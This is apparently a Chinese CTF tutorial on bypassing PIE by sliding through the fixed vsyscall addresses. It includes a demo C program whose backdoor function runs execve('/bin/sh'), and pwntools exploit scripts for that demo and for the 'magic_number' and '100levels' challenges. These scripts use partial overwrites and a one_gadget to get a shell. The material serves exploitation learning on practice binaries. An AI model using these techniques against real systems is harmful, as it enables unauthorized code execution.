没有开启pie的程序每一次基地址都是固定,(例如 64位下都是0x400000)
开启后地址会随机变换,但是有一个函数的地址不会改变
3次查看当前进程中 vsyscall 的地址
发现都是在 0xffffffffff600000-0xffffffffff601000
现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall
总之,系统虽然开启了PIE,但考虑到性能方面,还是决定牺牲一部分安全性,把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall
几个常用的无参内核调用加起来就是vsyscall,所以vsyscall中就包含有若干个syscall汇编语句,但是我们不能直接跳转到这里,因为vsyscall执行时会检查,如果不是从函数开头开始执行就会crash,因此我们可以选择0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800这三个地址
滑动绕过pie
由于这三个系统调用都是无参的,而且地址固定,这样我们就得到一个地址固定的返回地址,而且不用考虑栈平衡,通过retn自动执行下一个返回地址,这样就可以一直滑到输入点buf之后的任意地址并进行写入
// compiled: gcc -g vsyscall.c -o vsyscall void backdoor(); int main() { char buf[0x100]; read(0, buf, 0x100 - 1); // 直接跳转到buf asm("jmp %0" : : "m" (buf)); return 0; } void backdoor() { execve("/bin/sh", NULL, NULL); }
gdb vsyscall
从上面可以看出0x7fffffffdb30+8
为我们可以利用的地址,它的值是0x00005555555547bd
,而backdoor
的地址是0x55555555474e
,我们就可以把(0x7fffffffde80+8)的低字节改为'\x4e',执行时就通过vsyscall滑到了该地址,最后执行backdoor
exp
from pwn import * io=process('./vsyscall') ret=0xffffffffff600400 pay=p64(ret)*27+'\x4e' io.send(pay) io.interactive()
但是backdoor的地址为什么不会随机化,低地址一定就是'\x4e'吗?
这里好像涉及到一个pie的设计缺陷,由于内存的页载入机制,PIE的随机化只能影响到单个内存页。通常来说,一个内存页大小为0x1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的。
往往这个技术的思路是——在栈中寻找之前遗留的信息,通过溢出技术修改,并通过vsyscall将返回地址滑动到该信息处,从而完成攻击。
目前只能在Ubuntu 16.04中有这个漏洞存在了
例题
DASCTF 8月 magic_number
一般开启了pie都要考察pie的绕过了
在gdb中查看输入点buf之后的地址中有和system("/ bin/sh")地址差不多的内容,就可以用vsyscall滑到那里
from pwn import * io=process('./magic_number') ret=0xffffffffff600000 pay=p64(ret)*11+'\xA8' io.sendafter('Your Input :\n',pay) io.interactive()
看到buf+11*8前面位置也有一些符合的,试了一下不行,大概是因为buf长度至少要先覆盖到返回地址
攻防世界进阶区-1000levevls
hint()
go()
gdb查看
返回地址之后加上3个p64()就到了rbp-0x110
不知道怎么搞的。。。
不过也可以直接在ida里面看,我们写入one_gadget的那个栈空间是go()中的$rsp+0x10的位置,
我们在go()中调用的play_game()中从返回地址开始溢出,除了一个原本的ret,再放两个ret就刚好到了one_gadget的那个栈空间。
from pwn import * io=process('./100levels') libc=ELF('./libc.so') context.log_level='debug' one_gadget=0x4526a ret=0xffffffffff600000 io.sendlineafter('Choice:\n','2') io.sendlineafter('Choice:\n','1') io.sendlineafter('How many levels?\n','0') pay=str(one_gadget-libc.sym['system']) io.sendlineafter('Any more?\n',pay) def calc(): io.recvuntil('Question: ') a=int(io.recvuntil(' ',drop=True),10) io.recvuntil('* ') b=int(io.recvuntil(' ',drop=True),10) io.recvuntil('Answer:') io.sendline(str(a*b)) for i in range(99): calc() pay=cyclic(0x38)+p64(ret)*3 io.sendafter('Answer:',pay) io.interactive()